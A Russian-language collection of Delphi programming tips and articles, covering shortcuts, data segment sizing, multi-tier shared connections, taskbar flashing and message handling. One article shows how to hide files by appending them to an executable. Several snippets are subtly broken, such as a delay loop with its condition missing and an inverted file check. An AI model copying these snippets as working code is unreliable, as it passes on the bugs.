if (OverwriteExisting = FALSE) and (AddNumberIfExists = TRUE) then
begin
// Определяем какой именно порядковый номер надо добавить к
// имени ярлыка
X := 0;
repeat
X := X + 1;
WFileName := DestDirectory + ExtractFileNameEx(FileName, FALSE)
+ IntToStr(X) + '.lnk';
until FileExists(WFileName) = FALSE;
// И сохраняем ярлык
MyPFile.Save(PWChar(WFileName), FALSE);
Result := WFileName;
end;
//Если надо переписывать существующий ярлык
if OverwriteExisting = TRUE then
begin
//..., то переписываем его :)
MyPFile.Save(PWChar(WFileName), FALSE);
Result := WFileName;
end;
end
else
begin
//В случае, если ярлыка с подобным имененм ещё нет в папке
//назначения, то создаём ярлык
MyPFile.Save(PWChar(WFileName), FALSE);
Result := WFileName;
end;
end;
Создание ярлыка для конкретного файла 2.
Автор: Lipskiy WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Создание ярлыка для конкретного файла (2)
Процедура создает ярлык к файлу FilePath,
располагает ярлык в папке ShortcutPath,
заносит в ярлык поля: рабочей директории WorkDir,
текстового описания Description,
параметров запуска Params.
Зависимости: ShlObj, ActiveX, ComObj
Автор: lipskiy, lipskiy@mail.ru, ICQ:51219290, Санкт-Петербург
Copyright: Из FAQ
Дата: 10 мая 2002 г.
***************************************************** }
procedure CreateShortcut(const FilePath, ShortcutPath,
WorkDir, Description, Params: string);
var
obj: IUnknown;
isl: IShellLink;
ipf: IPersistFile;
begin
obj := CreateComObject(CLSID_ShellLink);
isl := obj as IShellLink;
ipf := obj as IPersistFile;
with isl do
begin
SetPath(PChar(FilePath));
SetArguments(PChar(Params));
SetDescription(PChar(Description));
SetWorkingDirectory(PChar(WorkDir));
end;
ipf.Save(PWChar(WideString(ShortcutPath)), False);
end;
Пример использования:
// пример создания ярлыка на рабочем столе
var
UserDesktop: string;
R: TRegIniFile;
begin
R := TRegIniFile.Create('');
with R do
begin
RootKey := HKEY_CURRENT_USER;
UserDesktop :=
ReadString('Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',
'desktop', '');
Free;
end;
CreateShortcut(Application.ExeName, UserDesktop +
'\Название ярлыка.lnk', '', '', '');
end;
Управление размером сегмента данных.
| В компьютерном сервисном центре: - Здравствуйте, я вам вчера в ремонт память сдавал... - Какую именно? - Не помню... |
Task header: 16 байт различной системной информации Windows
(заголовок
задачи)
Static data: Содержит глобальные переменные и типовые
(статические константы
данные)
Stack: Хранит локальные переменые, распределенные
(стек) процедурами и функциями. Размер стека по
по умолчанию 16К и может быть изменен на
странице Options|Project|Linker.
Local heap: Используется Windows для временного хранения и
(локальная по умолчанию имеет размер 8К. Не устанавливайте
куча) разнер локальной кучи, равным 0. Windows при
необходимости может увеличить данную область.
Как мне узнать полный размер сегмента данных?
Для того, чтобы получить размер статических данных 16-битного приложения Delphi, стека и локальной кучи для проекта, скомпилируйте проект и выберите в меню Delphi пункт Compile|Information. Для нового проекта с одной формой диалог покажет следующую информацию: Source compile: 12 lines (скомпилировано 12 строк исходного кода) Code size: 128981 bytes (размер кода 128981 байт) Data size: 3636 bytes (размер данных 3636 байт) Stack size: 16384 bytes (размер стека 16384 байт) Local Heap size: 8192 bytes (размер локальной кучи 8192 байт)Приложение Delphi начинается с объявления в модуле статических данных, тем самым обеспечивая функциональную инициализацию. Если единственная глобальная переменная является именем формы, то приложение занимает уже, по крайней мере, 3,636 байт. Добавляя вторую форму, размер увеличивается только до 3640 -- добавляется только размер глобальной переменной, необходимой для объявления второй формы.
var
Form2: TForm2; { 4-х байтный указатель }
|
Data size: 3,636
Stack size: 16,384
Local Heap size: 8,192
-----------------------
28,212
Какие части моего проекта увеличивают размер данных? Переменные, объявленные в секции interface и implementation. Типизированные константы, объявленные в любом месте приложения.
Пример объявления типизированной константы:
const MyConst: integer = 100; |
Следующий демонстрационный модуль включает в себя комментарии, описывающие использование памяти:
unit Test;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
{ Используемые в модуле функции могут иметь глобальные
переменные и типизированные константы,
которые увеличивают размер сегмента данных. }
type
{ Объекты класса хранятся в глобальной куче, не в сегменте данных}
TForm1 = class(TForm)
Label1: TLabel;
Button1: TButton;
procedure Button1Click(Sender: TObject);
public
{ MyInteger и MyString хранятся в глобальной куче. }
MyInteger: Integer;
MyString: string;
end;
const
{ MyConst - типизированная константа и сохраняется
в области статических данных сегмента.
Минимизируйте количество типизированных констант. }
MyConst: integer = 23;
var
{ Form1 - глобальная переменная и хранится в области
статических данных сегмента. Вы должны минимизировать
число и размер глобальных переменных. Form1 является
указателем и занимает только четыре байта. }
Form1: TForm1;
{ MyGlobalString занимает 256 байт, даже если строка
состояла бы всего из нескольких символов. }
MyGlobalString: string;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
{ MyLocal - локальная переменная и не хранится в сегменте данных. }
MyLocal: string;
begin
MyLocal := 'Тестовое приложение';
Label1.Caption := MyLocal
end;
end.
|
Компонент Прил. Байтов в свыше байт. 3,636 table 4272 636 batchmove 4272 636 storedproc 4258 622 query 4250 614 database 4036 400 datasource 3886 250 outline 3838 202 bitbtn 3816 180 stringgrid 3794 158 drawgrid 3790 154 maskedit 3762 126 memo 3750 114 report 3722 86 listbox 3704 68 edit 3694 58 tabset 3692 56 combobox 3674 38 scrollbar 3654 18 button 3652 16 checkbox 3652 16 radiobutton 3652 16 radiogroup 3652 16 panel 3650 14 label 3648 12 speedbutton 3646 10 header 3644 8 scrollbox 3644 8 notebook 3638 2 menu 3636 0 groupbox 3636 0 tabbednotebook 3636 0 image 3636 0 shape 3636 0Как управлять размером сегмента данных? Избегайте объявления глобальных переменных и типизированных констант, особенно больших массивов. Вместо этого объявляйте тип и указель на него. Затем пользуйтесь функциями для работы с памятью, например, Getmem, которая распределит вам память в глобальной куче. Это уменьшит использование ресурсов в сегменте данных до 4 байт, необходимых для переменной указательного типа. Смотрите ниже пример кода. Отдавайте себе отчет о влиянии компонентов. Смотри выше. Если у вас имеется множество строк, или массив строк, распределяйте это динамически. Примечание: по умолчанию длина строки равна 255 символам -- объявляйте, где это возможно, специфический размер строки: (например, MyShortString: string[20]). При необходимости работать с большим количеством строк рекомендуется использовать объект TStringList. Тип Pchar, "указатель на строку", может быть использован для динамического создания и управления символьными строками, используя при этом небольшое размер сегмента данных. Смотри раздел электронной справки "String-handling routines (Null-terminated)" (подпрограммы обработки строк (с терминирующим нулем)). Информация, необходимая для работы с памятью, доступна в Object Pascal Language Guide (руководство по языку Object Pascal), OBJLANG.ZIP и может быть загружена из Compuserve, форум DELPHI, или из Интернета по адресу www.borland.com/TechInfo/delphi/whatsnew/dwnloads.html. Альтернатива для глобального объявления большой структуры
Первый пример расходует 32 байта сегмента данных, второй всего-лишь 4 байта, но выполняет ту же задачу.
{ Объявление TMyStructure не вызовет никаких изменений в размере сегмента данных. }
TMyStructure = record
Name: String[10];
Data: array[0..9] of Integer;
end;
var
Form1: TForm1;
{ Объявление MyStructure вызовет увеличение
размера сегмента памяти на 32 байта:
указатель Mystructure = 1 байт
Name = 11 байт (10 символов + байт длины)
Data = 20 байт (10 * 2 байт на целое)
}
MyStructure: TMyStructure;
|
{ Объявление TMyStructure не вызовет никаких изменений в размере сегмента данных. }
PMyStructure = ^TMyStructure;
TMyStructure = record
Name: String[10];
Data: array[0..9] of Integer;
end;
var
Form1: TForm1;
{ MyDataPtr вызывает увеличение на 4 байта
для размещения указательной переменной. }
MyDataPtr: PMyStructure;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
{ Здесь ресурсы берутся из кучи. }
New(MyDataPtr);
MyDataPtr.Name := 'Fred';
MyDataPtr.array[0] := 560;
Dispose(MyDataPtr);
end;
|
Вы также можете разместить объявление переменной в пределах класса:
type
TMyBigArray = array[1..100] of string
TForm1 = class(TForm)
public
{ Это объявление не повлияет на размер сегмента данных. }
MyBigArray: TMyBigArray;
end;
var
{ Это объявление увеличивает сегмент данных на 25,600 байт. }
MyOtherBigArray: TMyBigArray;
|
Ручное масштабирование формы.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Der erste Parameter von ScaleBy ist der Multiplikator, der zweite
der Divisor. Folgendes Beispiel skaliert die Form auf 150%
The first parameter of ScaleBy is the multiplier, the second
the divisor. The example scale the form to 150%
}
procedure TForm1.Button1Click(Sender: TObject);
begin
ScaleBy(150, 100);
end;
Заставить динамик пикнуть несколько раз с задержкой между сигналами, не зависящей от частоты процессора.
Нужно воспользоваться следующей процедурой:
procedure Delay(ms : longint);
{$IFNDEF WIN32}
var
TheTime : LongInt;
{$ENDIF}
begin
{$IFDEF WIN32}
Sleep(ms);
{$ELSE}
TheTime := GetTickCount + ms;
while GetTickCount do
Application.ProcessMessages;
{$ENDIF}
end;
|
А воспользуемся ею, например, в обработчике нажатия кнопки:
procedure TForm1.Button1Click(Sender: TObject); begin MessageBeep(word(-1)); Delay(200); MessageBeep(word(-1)); Delay(200); MessageBeep(word(-1)); end; |
Множество модулей данных – одно соединение.
Автор: Bill Todd (The Database Group, Inc) WEB-сайт: http://www.programme.ru Перевод: Олег Мотов При создании многоуровневых приложений в предыдущих версиях Delphi многие разработчики сталкивались с одной проблемой – трудностью размещения всех необходимых компонентов доступа к данным в одном модуле данных. Решение заключалось в том, чтобы использовать несколько удаленных модулей данных. Первая проблема этого решения состоит в том, что клиентскому приложению необходимо отдельное соединение для каждого модуля данных на сервере приложений. А это – нагрузка на системные ресурсы и на клиенте и на сервере. Вторая проблема состоит в том, что удаленные модули данных, относящиеся к одному клиенту, абсолютно ничего не знают друг о друге. Например, не существует способа из одного модуля данных вызвать метод другого модуля данных, относящегося к тому же клиенту. Delphi 6 решает эти проблемы, позволяя клиентскому приложению использовать одно соединение для многих модулей данных на сервере приложений. Делается это не совсем тривиально – только перетаскивания компонентов и запуска «мастеров» недостаточно. Чтобы построить приложение, которое использует разделяемое соединение, придется добавить кое-какие интерфейсы и свойства в библиотеку типов на сервере приложений. Впрочем, достаточно один раз разобраться, как это делается – и в дальнейшем разработка приложений, использующих одно соединение для многих модулей данных, становится несложной. Лучший способ понять этот процесс состоит в том, чтобы пройти через построение демонстрационного приложения, что мы и сделаем в этой статье. В этой статье подразумевается, что читатель знает, как строить многоуровневое приложение в Delphi 5 с использованием компонентов MIDAS. Построение сервераЧтобы построить сервер, создайте новый проект и добавьте к нему удаленный модуль данных. В нашем приложении используется демонстрационная база данных InterBase, а для соединения с базой данных применяется dbExpress. На рис. 1 показан законченный модуль данных. Он содержит компоненты SQLConnection, SQLDataSet и DataSetProvider.
Рисунок 1. Удаленный модуль данных employee
В компоненте SQLConnection, названном EmpConn, свойство DriverName установлено в InterBase. Свойство компонента Params изменено так, чтобы в нем содержался правильный путь к демонстрационной базе данных InterBase. Если вы загрузите демонстрационное приложение, перед запуском надо будет изменить этот путь. Демонстрационное приложение доступно для загрузки, подробности см. в конце статьи.
В компоненте SQLDataSet, названном EmpDs, свойство SQLConnection указывает на компонент подключения EmpConn. Свойству CommandText присвоена команда ‘SELECT * FROM Employee’.
В компоненте DataSetProvider (EmpProv) свойство DataSet указывает на EmpDs.
Далее следует добавить второй удаленный модуль данных к проекту сервера. Второй удаленный модуль данных изображен на рис. 2, он содержит один компонент SQLDataSet (CustDs) со значением ’SELECT * FROM Customer’ свойства CommandText. Модуль данных также содержит DataSetProvider (CustProv), связанный с SQLDataSet.
Рисунок 2. Удаленный модуль данных customer
Теперь нужно добавить необходимые интерфейсы и свойства в библиотеку типов сервера приложений. На рис. 3 показан редактор Type Library с развернутым интерфейсом IEmployeeDm. Чтобы использовать одно разделяемое соединение для доступа ко многим удаленным модулям данных, один из модулей должен быть назначен главным, а все другие модули будут дочерними. В этом примере удаленный модуль данных employee будет главным, а удаленный модуль данных customer дочерним.
Для каждого дочернего модуля данных вы должны добавить свойство, доступное только для чтения в интерфейс главного удаленного модуля данных. На рис. 3 в интерфейс модуля данных employee было добавлено свойство CustomerRdm типа ICustomerDm (интерфейс дочернего модуля данных). Интерфейс дочернего модуля данных ICustomerDm, появляется в раскрывающемся списке типов, так что вам остается лишь выбрать его из списка.
Рисунок 3. Свойство дочернего удаленного модуля данных, добавленное к интерфейсу главного модуля данных
Это – единственное изменение, которое нужно сделать в библиотеке типов сервера приложений, чтобы воспользоваться преимуществами разделяемого соединения.
Одно из достоинств этой технологии – способность любого экземпляра дочернего модуля данных обратиться к интерфейсу главного модуля данных того же соединения. Для этого к интерфейсу каждого дочернего удаленного модуля данных нужно добавить еще одно свойство. Легче всего это сделать, добавив новый интерфейс в библиотеку типов, затем добавить к нему необходимое свойство и использовать этот интерфейс в качестве предка всех дочерних модулей данных.
На рис. 4 показан редактор Type Library с новым интерфейсом IChildDm типа IAppServer. В этот интерфейс добавлено свойство EmployeeRdm типа IEmployeeDM. Затем свойство Parent Interface интерфейса ICustomerDm было изменено на IChildDm. Меняя родительский интерфейс, вы позволяете интерфейсу ICustomerDm унаследовать свойство EmployeeRdm из интерфейса IChildDm. Такую же замену свойства Parent Interface следует сделать в каждом дочернем удаленном модуле данных.
Рисунок 4. Интерфейс IChildDm со свойством EmployeeRdm
После нажатия на кнопку Refresh и закрытия редактора Type Library настало время добавить код к методам чтения и записи добавленных нами свойств. Перейдем в раздел инициализации модуля (unit) дочернего модуля данных. Там вы увидите тот код, который ниже показан в комментарии и помечен "Before:" (он создан автоматически). Измените этот код, чтобы получилось примерно так:
initialization
// Before:
// TComponentFactory.Create(ComServer, TCustomerDm, _CustomerDm, ciInternal, tmApartment);
// After:
CustRdmFactory := TComponentFactory.Create(ComServer, TCustomerDm,
Class_CustomerDm, ciInternal, tmApartment);
// В разделе interface модуля следует добавить переменную CustRdmFactory,
// чтобы сохранить ссылку на экземпляр фабрики компонентов, возвращаемую
// вызовом TcomponentFactory.Create:
var
CustRdmFactory: TComponentFactory;
Теперь, когда есть глобальная переменная, которая указывает на экземпляр объекта фабрики компонентов, создать экземпляр дочернего удаленного модуля данных можно из любого места приложения вызовом метода CreateCOMObject фабрики компонентов. Вызов объекта фабрики компонентов дочернего удаленного модуля данных входит в метод чтения свойства CustomerRdm, которое ранее было добавлено к интерфейсу IEMPLOYEEDM. Код для метода Get_CustomerRdm:
function TEmployeeDm.Get_CustomerRdm: ICustomerDm; begin Result := CustRDMFactory.CreateCOMObject(nil) as ICustomerDm; Result.EmployeeRdm := Self; end;
Чтобы создать экземпляр дочернего удаленного модуля данных и присвоить ссылку на его интерфейс свойству CustomerRdm, в первой строке этого метода вызывается метод CreateCOMObject фабрики компонентов дочернего удаленного модуля данных. Во второй строке этого метода Self (то есть ссылка на главный удаленный модуль данных) назначается свойству EmployeeRdm нового объекта дочернего модуля данных. Это позволяет дочернему удаленному модулю данных CustomerDm обращаться к свойствам и вызывать методы главного удаленного модуля данных EmployeeDm. Последнее, что вы должны добавить в сервер приложений, нужно для методов чтения и записи свойства EmployeeRdm. Эти методы просто получают и устанавливают значение свойства:
function TCustomerDm.Get_EmployeeRdm: IEmployeeDm; begin Result := FEmployeeRdm; end; procedure TCustomerDm.Set_EmployeeRdm(const Value: IEmployeeDm); begin FEmployeeRdm := Value; end;Построение клиента
Демонстрационное клиентское приложение состоит из удаленного модуля данных (рис. 5) и формы (рис. 6). Модуль данных содержит компонент DCOMConnection, свойству ServerName которого присвоено значение EmpSrvr.EmployeeDm, чтобы соединить его с главным удаленным модулем данных сервера приложений.
Рисунок 5. Модуль данных клиентского приложения.
Рисунок 6. Модуль данных клиентского приложения
Ниже компонента DCOMConnection EmpDcom можно увидеть компонент ConnectionBroker. Это – новый компонент в Delphi 6, он позволяет добавлять новый программный слой между множеством компонентов ClientDataSet и компонентом соединения, с которым они связаны. Это дает возможность менять компонент соединения, который используют компоненты ClientDataSet, изменяя свойство Connection компонента ConnectionBroker, вместо того, чтобы изменять свойство RemoteServer каждого компонента ClientDataSet.
В этом приложении не имеет смысла использовать ConnectionBroker, потому что есть только один ClientDataSet. Я включил ConnectionBroker только для того, чтобы показать, как им пользоваться. Чтобы воспользоваться компонентом ConnectionBroker, достаточно поместить его на модуль данных и присвоить его свойству Connection ссылку на тот компонент соединения, который вы хотите использовать. Когда вы добавите ClientDataSet, обратите внимание, что у него есть новое свойство ConnectionBroker. В компоненте ClientDataSet установите только свойство ConnectionBroker, а свойство RemoteServer оставьте пустым. Свойству ConnectionBroker компонента ClientDataSet EmpCds присвоена ссылка на компонент ConnectionBroker EmpBrkr, а свойство ProviderName ссылается на EmpProv.
Прежде чем вы сможете соединить ClientDataSet с провайдером customer дочернего модуля данных на сервере приложений, надо добавить компонент SharedConnection к модулю данных клиента. Компонент SharedConnection (см. рис. 5) называется CustShrd. У него есть свойство ParentConnection, которому присвоена ссылка на компонент EmpDcon.
У компонента SharedConnection вы не можете устанавливать свойство ParentConnection так, чтобы оно указывало на компонент ConnectionBroker. Это, очевидно, разрушает смысл использования ConnectionBroker, потому что вы больше не можете менять соединения, просто изменяя свойство Connection одного ConnectionBroker.
Компонент SharedConnection также имеет свойство ChildName. Выбрав это свойство в Object Inspector и нажав на раскрывающую стрелку, вы увидите список всех дочерних удаленных модулей данных сервера приложений. В демонстрационном приложении этой статьи есть только один дочерний удаленный модуль данных – CustomerRdm.
Чтобы подключить более одного компонента ClientDataSet к компоненту SharedConnection, можно добавить компонент ConnectionBroker и соединить его с компонентом SharedConnection. Хотя демонстрационное приложение имеет только один ClientDataSet CustCds, использующий разделяемое соединение, в нем применяется компонент ConnectionBroker (только для того, чтобы показать, как его использовать с компонентом SharedConnection).
Разработка оставшейся части клиентского приложения не отличается от разработки любого другого многоуровневого клиента в Delphi. Только соедините компоненты DataSource с ClientDataSet и компоненты пользовательского интерфейса с DataSource.
Заключение
Если вы собираетесь разрабатывать многоуровневые приложения, компонент SharedConnection будет очень полезным дополнением к Delphi. Теперь вы можете разделять одно соединение между многими удаленными модулями данных. Удаленные модули данных можно написать так, чтобы они могли легко взаимодействовать друг с другом, обращаясь к свойствам главного удаленного модуля данных и, при необходимости, вызывая его методы.
Так как у главного удаленного модуля данных есть свойство, которое содержит интерфейсную ссылку на каждый дочерний удаленный модуль данных, он может обращаться к свойствам любого дочернего модуля и вызывать его методы. Вы можете даже делать запросы «дочерний-к-дочернему» при наличии у дочернего модуля данных свойства, которое хранит ссылку на главный модуль данных. Используя это свойство, можно обращаться к интерфейсу другого дочернего модуля данных.
Компонент ConnectionBroker – также полезное дополнение, потому что он намного упрощает использование различных соединений в одном клиенте. Например, можно использовать компонент DCOMConnection, когда вы запускаете программы клиента и сервера приложений на одной машине во время разработки и тестирования, и легко переключаться на SocketConnection, WebConnection или CorbaConnection, чтобы соединиться с удаленным сервером приложений. Единственный недостаток компонента ConnectionBroker состоит в том, что к нему невозможно подключать SharedConnection.
СКАЧАТЬ ИСХОДНИК К ЭТОЙ СТАТЬЕ
Два и более обработчика события.
| На недавней компьютерной выставке (COMDEX) Билл Гейтс сравнил компьютерную промышленность с автомобильной и, в частности, сказал: - Если бы Дженерал Моторс осваивала достижения технологии с таким же эффектом, как это происходит в компьютерной промышленности, то мы все уже бы ездили на 25-ти долларовых машинах с расходом бензина 10 литров на 1000 километров. На что Дженерал Моторс отреагировала: - Да, но хотели бы вы чинить ваш автомобиль дважды в день? |
procedure TForm1.FormKeyDownFIRST(Sender: TObject; var Key: Word; Shift: TShiftState); procedure TForm1.FormKeyDownFirstSECOND(Sender: TObject; var Key: Word; Shift: TShiftState); // А потом, где нужно, подставляешь соответствующий адрес @Form1.FormKeyDown=@Form1.FormKeyDownFIRST |
Хранение нескольких различных файлов в одном исполняемом.
Автор: Павел Часть I. "Пакер" Эта материал открывает цикл статей для юных программеров (и хакеров :)) интересующихся скрытием своей информации (а так же поиском интересной "чужой" :)). Не секрет что у тебя есть много того, что ты бы не хотел показывать ФСБ, друзьям, Васе Пупкину, и прочей "мировой общественности". Конечно можно использовать запароленные архивы и прочую лабуду (например твой сосед может не увидеть скрытый файл на расшареном диске :), но если задуматься, то станет ясно что, чем больше людей использует одинаковые системы защиты, тем быстрее улучшаются методы взлома этих систем (сорри за тавтологию). У тебя ёще не появилось желание написать средство для защиты своей ценнейшей инфы (исходников, рефератов, фоток :) и т.д и т.п.) от посторонних глаз. Ведь если ты что-то написал сам, то только ТЫ знаешь, КАК ОНО ПРЯЧЕТСЯ И ДОСТАЁТСЯ. Наши первые программы будут полезны как программерам, так и хакерам. Это будут Пакер и Анпакер (Packer & Unpacker). В этой статье я опишу только пакер (темы анпакера будут затронуты в следующих статьях). Писать мы его будем на всенародно любимом Delphi (у меня шестая версия, но работать должно и на предыдущих). Суть пакера заключается в следующем: в конец некоего экзешника (.exe) дописываем размер файла который мы потом будем из него доставать, далее следует сам файл, потом размер второго файла, и, собственно, второй. Сразу скажу что под "неким экзешником" я подразумеваю анпакер. Ну, что? Готов? Если да то запускай Делфи и создавай новый проект (File/New/Application). Первым делом назови как-нибудь форму (Caption) (пусть будет что-то типа "Super-Puper-Mega- Packer"). Далее размести на ней OpenDialog и SaveDialog (вкладка Dialogs). Давай сразу посмотрим на настройки OpenDialog'a. Для этого открой Options в Object Insресtоr'е и сделай поля ofPathMastExist и ofFileMastExist равными True. Всё это нужно для того, чтобы файлы которые мы будем прятать реально существовали. В SаvеDiаlоg'е желательно сделать поле ofPathMastExist равным True. Так же размести на форме кнопку (Button) с грозной надписью "GO!", 3 Еdit'а (первым двум Еdit'ам в поле ReadOnly надо поставить True) и 3 SрееdВuttоn'а. У SpeedButton1 сделай поле Tag равным 1 (это понадобится в дальнейшем). Теперь можно занятся дизайном нашего пакера (это не должно вызвать особых проблем :)). Не забудь только загрузить рисунки в SрееdВuttоn'ы. Отличные пикчурсы можно взять (если у тебя стоит полная версия Delphi) из \Program Files\Common Files\Borland Shared\Images\Buttons. Я нацепил на SpeedButton1 и SpeedButton2 Fileopen.bmp, а на SpeedButton3 - Filesave.bmp.А теперь переходим к самому интересному - к кодингу. Для начала сделаем обработчик SpeedButton1'а OnClick и укажем его же в SpeedButton2. В нем напишем следующий код:
procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
if (Sender as TSpeedButton).Tag = 1 then
Edit1.Text := OpenDialog1.FileName
else
Edit2.Text := OpenDialog1.FileName;
end;
Если пользователь в ОреnDiаlоg'е что-то выбрал, то посмотрим какой из SрееdВuttоn'ов он нажал и присвоим соответствующему Еdit'у новое значение. Можно было бы сделать два OnClick'a (у каждого SрееdВuttоn'а свой) и написать что-то типа:
procedure TForm1.SpeedButton1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
Edit1.Text := OpenDialog1.FileName;
end;
procedure TForm1.SpeedButton2Click(Sender: TObject);
begin
if OpenDialog1.Execute then
Edit2.Text := OpenDialog1.FileName;
end;
Но мне это кажется неспортивным. Да и откомпилированная прога будет жирнее на пару байт :). Далее обратим свой взор на SpeedButton3. Сделаем обработчик OnClick в котором:
procedure TForm1.SpeedButton3Click(Sender: TObject);
begin
if SaveDialog1.Execute then
Edit3.Text := SaveDialog1.FileName;
end;
Ну а теперь перейдём к самой интересной кнопке - "GO!". В её ОnСliск'е будет сам упаковщик:
procedure TForm1.Button1Click(Sender: TObject);
var
f, f2: file;
buf: array[1..1024] of byte;
done: integer;
begin
if not ((FileExists(Edit1.Text)) or (FileExists(Edit2.Text))) then
begin
ShowMessage('Неправильно указан путь к файлу');
Exit;
end;
if not FileExists(ExtractFilePath((Application.ExeName)) + 'Unpacker.exe')
then
begin
ShowMessage('Не могу найти Unpacker.exe');
Exit;
end;
AssignFile(f, ExtractFilePath((Application.ExeName)) + 'Unpacker.exe');
AssignFile(f2, Edit3.Text);
Reset(f, 1);
Rewrite(f2, 1);
while not eof(f) do
begin
blockread(f, buf, sizeof(buf), done);
blockwrite(f2, buf, done);
end;
CloseFile(f);
AssignFile(f, Edit1.Text);
Reset(f, 1);
done := FileSize(f);
blockwrite(f2, done, 4);
while not eof(f) do
begin
blockread(f, buf, sizeof(buf), done);
blockwrite(f2, buf, done);
end;
CloseFile(f);
AssignFile(f, Edit2.Text);
Reset(f, 1);
done := FileSize(f);
blockwrite(f2, done, 4);
while not eof(f) do
begin
blockread(f, buf, sizeof(buf), done);
blockwrite(f2, buf, done);
end;
CloseFile(f);
end;
Тут всё совсем просто :). Для начала проверяем все ли необходимые для упаковки файлы присутствуют. Далее создаем файл указанный в Edit3.Text и записываем в него распаковщик, размер первого файла, файл, размер второго и второй соответственно (какой-то бутерброд получается :)). Вот и всё! В результате получается .exe который может достать из себя эти 2 файла. Но сейчас это работать не будет, так как нет Unpacker.exe. Его мы напишем в следующий раз. Хотя для любопытных я приведу листинг альфа версии Unраскеr'а:
program Unpacker;
uses classes;
const
c = 117248;
var
mem: tmemorystream;
i: integer;
done: integer = 0;
done1: integer;
f: file;
buf: array[1..2048] of byte;
begin
mem := tmemorystream.Create;
mem.LoadFromFile(paramstr(0));
mem.Seek(c, soFromBeginning);
mem.ReadBuffer(i, $4);
assignfile(f, 'temp1');
rewrite(f, 1);
while i >= done + 2048 do
begin
done1 := mem.Read(buf, sizeof(buf));
blockwrite(f, buf, done1);
done := done + done1;
end;
if i > done then
begin
done1 := mem.Read(buf, i - done);
blockwrite(f, buf, done1);
end;
closefile(f);
done := 0;
mem.ReadBuffer(i, 4);
assignfile(f, 'temp2');
rewrite(f, 1);
while i > done + 2048 do
begin
done1 := mem.Read(buf, sizeof(buf));
blockwrite(f, buf, done1);
done := done + done1;
end;
if i > done then
begin
done1 := mem.Read(buf, i - done);
blockwrite(f, buf, done1);
end;
closefile(f);
mem.Free;
end.
Как прочитать весь файл, в котором несколько признаков конца файла.
| Поймали злые чечены академика, математика и программиста. Привели их на крышу высотного дома и сказали, типа внизу натянут тент, кто спрыгнет и на тент попадет, тот типа жив останется. Академик развел теорию, долго чего-то думал, прыгнул - разбился. Математик быстро посчитал, прикинул, все учел, пригнул и попал на тент, вобщем спасся. Программист думает: "Ну, математик все сосчитал, я сейчас так же сделаю." Разбегается, прыгает, и с воплем: "Блин, перепутал знак!" улетает в небо... |
Перепишем ваш файл a.dat в файл b.dat, удалив признаки конца файла:
var
f1,f2 :file of Byte;
a :Byte;
i :Longint;
begin
{$I-}
AssignFile(f1, 'a.dat');
AssignFile(f2, 'b.dat');
Reset(f1);
Rewrite(f2);
for i := 1 to FileSize(f1) do
begin
Read(f1, a);
if a <> 26 then Write(f2, a);
end;
CloseFile(f1);
CloseFile(f2);
end.
|
Подсветить кнопку программы на панели задач несколько раз.
// Define FLASHWINFO structure as record type
type
FLASHWINFO = record
cbSize: UINT;
hWnd: HWND;
dwFlags: DWORD;
uCount: UINT;
dwTimeOut: DWORD;
end;
TFlashWInfo = FLASHWINFO;
// Define dwFlags constants
const
FLASHW_STOP = 0;
FLASHW_CAPTION = 1;
FLASHW_TRAY = 2;
FLASHW_ALL = FLASHW_CAPTION or FLASHW_TRAY;
FLASHW_TIMER = 4;
FLASHW_TIMERNOFG = 12;
var
Form1: TForm1;
FWInfo: TFlashWInfo;
// Function declaration for WinAPI call
function FlashWindowEx(var pfwi: FLASHWINFO): BOOL; stdcall;
{...}
implementation
{...}
// Import external function from 'USER32.DLL' with the same name
function FlashWindowEx; external user32 Name 'FlashWindowEx';
procedure TForm1.FormCreate(Sender: TObject);
begin
// Check for API function's availability
if not Assigned(@FlashWindowEx) then
begin
ShowMessage('API Function FlashWindowEx is not present... Exit program!');
Application.Terminate;
end
else
// Set default parameters
with FWInfo do
begin
cbSize := SizeOf(FWInfo); // Size of structure in bytes
hWnd := Form1.Handle; // Main's form handle
dwFlags := FLASHW_ALL; // Flash both caption & task bar
uCount := 10; // Flash 10 times
dwTimeOut := 100; // Timeout is 1/10 second apart
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
// Flash on normal state
FlashWindowEx(FWInfo);
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
// Flash on minimized state
WindowState := wsMinimized; // Application.Minimize;
FlashWindowEx(FWInfo);
end;
|
Несколько методов, обрабатывающих одно сообщение.
unit ManyForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TFormManyMess = class(TForm)
LBox: TListBox;
Label1: TLabel;
Button1: TButton;
procedure FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
procedure WndProc(var Message: TMessage); override;
procedure DefaultHandler(var Message); override;
procedure WmLButtonDown (var Message: TWMMouse);
message wm_lButtonDown;
procedure MouseDown(Button: TMouseButton;
Shift: TShiftState; X, Y: Integer); override;
procedure ApplicationMessage (var Msg: TMsg;
var Handled: Boolean);
end;
var
FormManyMess: TFormManyMess;
implementation
{$R *.DFM}
procedure TFormManyMess.FormMouseDown(Sender: TObject;
Button: TMouseButton; Shift: TShiftState;
X, Y: Integer);
begin
if Button = mbLeft then
LBox.Items.Add (Format ('%s in (%d, %d)',
['FormMouseDown', X, Y]));
end;
procedure TFormManyMess.WndProc(var Message: TMessage);
begin
if Message.Msg = wm_LButtonDown then
LBox.Items.Add (Format ('%s in (%d, %d)',
['WndProc', LoWord (Message.LParam),
HiWord (Message.LParam)]));
inherited;
end;
procedure TFormManyMess.DefaultHandler(var Message);
begin
with TMessage (Message) do
if Msg = wm_LButtonDown then
LBox.Items.Add (Format ('%s in (%d, %d)',
['DefaultHandler', LoWord (LParam),
HiWord (LParam)]));
inherited;
end;
procedure TFormManyMess.WmLButtonDown (var Message: TWMMouse);
begin
LBox.Items.Add (Format ('%s in (%d, %d)',
['WmLButtonDown', Message.XPos, Message.YPos]));
